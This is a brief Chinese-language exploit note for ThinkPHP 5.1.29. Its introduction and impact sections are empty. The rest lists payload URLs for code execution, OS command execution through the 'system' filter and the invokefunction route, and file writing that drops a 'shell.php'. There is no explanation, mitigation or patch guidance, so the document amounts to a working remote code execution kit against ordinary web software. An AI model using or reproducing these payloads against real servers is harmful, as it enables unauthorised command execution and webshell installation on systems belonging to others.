# Thinkphp 5.1.29

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

1、代码执行


```
http://url/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
```

2、命令执行



```
http://url/?s=index/\think\Request/input&filter=system&data=操作系统命令

http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

http://url/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
```

3、文件写入


```
http://url/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
```